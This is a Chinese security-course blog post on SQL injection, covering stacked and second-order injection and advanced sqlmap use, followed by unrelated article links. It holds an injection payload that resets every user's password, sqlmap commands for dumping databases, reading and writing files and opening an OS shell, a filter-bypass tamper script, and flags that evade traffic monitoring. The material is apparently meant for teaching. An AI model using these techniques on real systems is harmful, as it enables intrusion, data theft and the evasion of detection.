当前位置: 首页 > news >正文

第58天:Web攻防-SQL注入二次攻击堆叠执行SQLMAPTamper编写指纹修改分析调试

#知识点

1、Web攻防-SQL注入-堆叠&二次注入

2、Web攻防-SQL注入-SQLMAP进阶使用

一、堆叠注入

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query()函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,前提是在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.

1、目标存在sql注入漏洞

2、目标未对";"号进行过滤->黑盒中,可以通过在注入语句加上“;”来看是不是有堆叠注入

3、目标中间层查询数据库信息时可同时执行多条sql语句

支持堆叠数据库:MYSQL MSSQL Postgresql等

二、二次注入

原理:注册(利用注册信息写入payload到数据库,此时无任何影响)-登录后修改-修改时以当前用户名为条件触发,而当前用户名是注册时写的payload->这个payload与修改时的sql语句拼接,实现二次注入

黑盒思路:分析功能有添加后(注册时能将payload记录到数据库中),对数据操作的地方(功能点->如更改密码,修改相关信息

白盒思路:insert后进入select或update的功能的代码块

注入条件:插入时有转义函数或配置,后续有利用插入的数据

拼接后的update修改密码的sql语句->发现用户名拼接后,变了空,所以修改了所有用户的密码
UPDATE users SET password = '$newPassword' WHERE username = ''or 1=1#'

三、SqlMap使用

#参考:1. sqlmap超详细笔记+思维导图 - bmjoker - 博客园

https://www.cnblogs.com/bmjoker/p/9326258.html

1、数据猜解-库表列数据&字典

测试:常规数据获取

--current-db 获取当前数据库名

--tables -D "xxxx" 获取该数据库所有的表名

--columns -T "xxx" -D "xxx" 获取该数据库某表的所有列名

--dump -C "xx" -C "xx" -T "xxx" 获取列中的数据

2、权限操作-文件&命令&交互式

测试:高权限操作

①引出权限:发现是什么样的数据库用户权限

--is-dba

--privileges

②引出文件:

--file-read  "d:\\1.txt" 读文件,读取目标d盘下的1.txt文件

--file-write 1.txt --file-dest d:\\11.txt

③引出命令:

--os-cmd=whoami

--os-shell

--sql-shell

3、提交方法-POST&HEAD&JSON

测试:Post Cookie Json等

--data "username=xiaodi&password=wedwqdqwd"

--cookie "user_id=1*"

-r 1.txt(推荐使用,将数据包保存在该txt文件中,再用sqlmap来跑,想测哪个参数就可以测哪个参数)

原因:有时会发现有的漏洞用手工可以测出来,用sqlmap却跑不出,原因在于如果直接用sqlmap对url来测试,数据包的格式是不固定的;像app,小程序,非常注重数据包的格式,有时候还会有带用户凭据的数据包,所以sqlmap跑不出;而用这种-r 1.txt的方式,sqlmap在自动化的时候,只会改掉该文件中测试点的值,数据包的其他内容都固定不会变;

4、绕过模块-Tamper脚本-使用&开发

--tamper=base64encode.py 对参数有base64编码的注入

base64encode.py是sqlmap工具自带的绕过脚本,这样的脚本还有很多

①测试:base64+json注入&没有过滤的注入

②测试:base64+json注入&有过滤的注入

--tamper=test.py #test.py是自己写的应对有过滤注入的sqlmap脚本,以下为该脚本的具体内容

结合上图,可以发现仅仅做了一些简单的大小写过滤,所以在test.py绕过脚本中使用了payload = payload.replace('SELECT','sElEct')之类的大小写混用,来绕过;

from lib.core.convert import encodeBase64

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():

pass

def tamper(payload, **kwargs):

if payload:

payload = payload.replace('SELECT','sElEct')

payload = payload.replace('select','sElEct')

payload = payload.replace('OR','Or')

payload = payload.replace('or','Or')

payload = payload.replace('AND','And')

payload = payload.replace('and','And')

payload = payload.replace('XOR','xOr')

payload = payload.replace('xor','xOr')

payload = payload.replace('SLEEP','SleeP')

payload = payload.replace('sleep','SleeP')

payload = payload.replace('ELT','Elt')

return encodeBase64(payload, binary=False) if payload else payload

四、分析拓展-代理&调试&指纹&风险&等级

1、后期分析调试:

-v=(0-6) #详细的等级(0-6)->测试的等级越高,sqlmap测试的就越深入

--proxy "http://127.0.0.1:8080" #代理注入与burpsuite联动->目的在于知道sqlmap是怎样注入的,可以进行调试->抓包分析,可以看是不是有注入点,但是sqlmap跑的不对,搞错了,就可以burpsuite手工调试

2、打乱默认指纹:

绕过流量设备识别sqlmap

--user-agent "" #自定义user-agent

--random-agent #随机user-agent->通bp抓包可以发现sqlmap注入时,数据包的UA头为sqlmap,有明显的sqlmap特征,容易被流量设备监控到,使用该随机user-agent,可以避免这个问题

--time-sec=(2,5) #延迟响应,默认为5->sqlmap跑的时候发包有延时,以免跑的太快,被流量设备监控到异常

3、使用更多的测试:测试Header注入

应用场景:在使用sqlmap注入时,没有发现注入点,可以用以下方法提高注入等级,可以就会发现注入点;

--level=(1-5) #要执行的测试水平等级,默认为1

--risk=(0-3) #测试执行的风险等级,默认为1

相关文章:

  • LCR 159. 库存管理 III
  • K8S学习之基础三十四:K8S之监控Prometheus部署pod版
  • AWTK-WEB 快速入门(5) - C 语言 WebSocket 应用程序
  • VSCODE 报错Fatal error: can‘t create CMakeFiles/hello_world.elf.dir/C_/Users/...
  • 通过turfjs使用线段分割矢量多边形
  • 【TPAMI 2024】卷积调制空间自注意力SpatialAtt,轻量高效,即插即用!
  • JVM常用概念之安全点轮询
  • TensorRT:高性能深度学习推理的利器
  • DeepSeek私有化部署与安装浏览器插件内网穿透远程访问实战
  • 轨道交通3U机箱CPCI电机控制板(DSP),主要运行控制算法以对牵引电机进行精准的运动控制
  • 【Go语言圣经5.1】
  • 微前端 无界wujie
  • 蓝牙技术联盟中国实体成立!华为、小米发声支持本土化战略
  • QAI AppBuilder 快速上手(7):目标检测应用实例
  • CVPR2025自动驾驶端到端前沿论文汇总
  • Docker命令解析:加速你的容器化之旅(以Nginx为例)
  • 设计模式Python版 访问者模式
  • 串口烧录出现频繁回复乱码 频繁回复一个数字且烧录失败 字节混乱
  • 【docker】部署MySQL容器
  • [从零开始学SSM] Bean的配置
  • 证监会发布《上市公司募集资金监管规则》,6月15日起施行
  • 现场丨在胡适施蛰存等手札与文献间,再读百年光华
  • 中科飞测将投资超10亿元,在上海张江成立第二总部
  • 绿景中国地产:洛杉矶酒店出售事项未能及时披露纯属疏忽,已采取补救措施
  • 外交部:反对美方人士发表不负责任谬论
  • 七旬男子驾“老头乐”酒驾被查,曾有两次酒驾两次肇事记录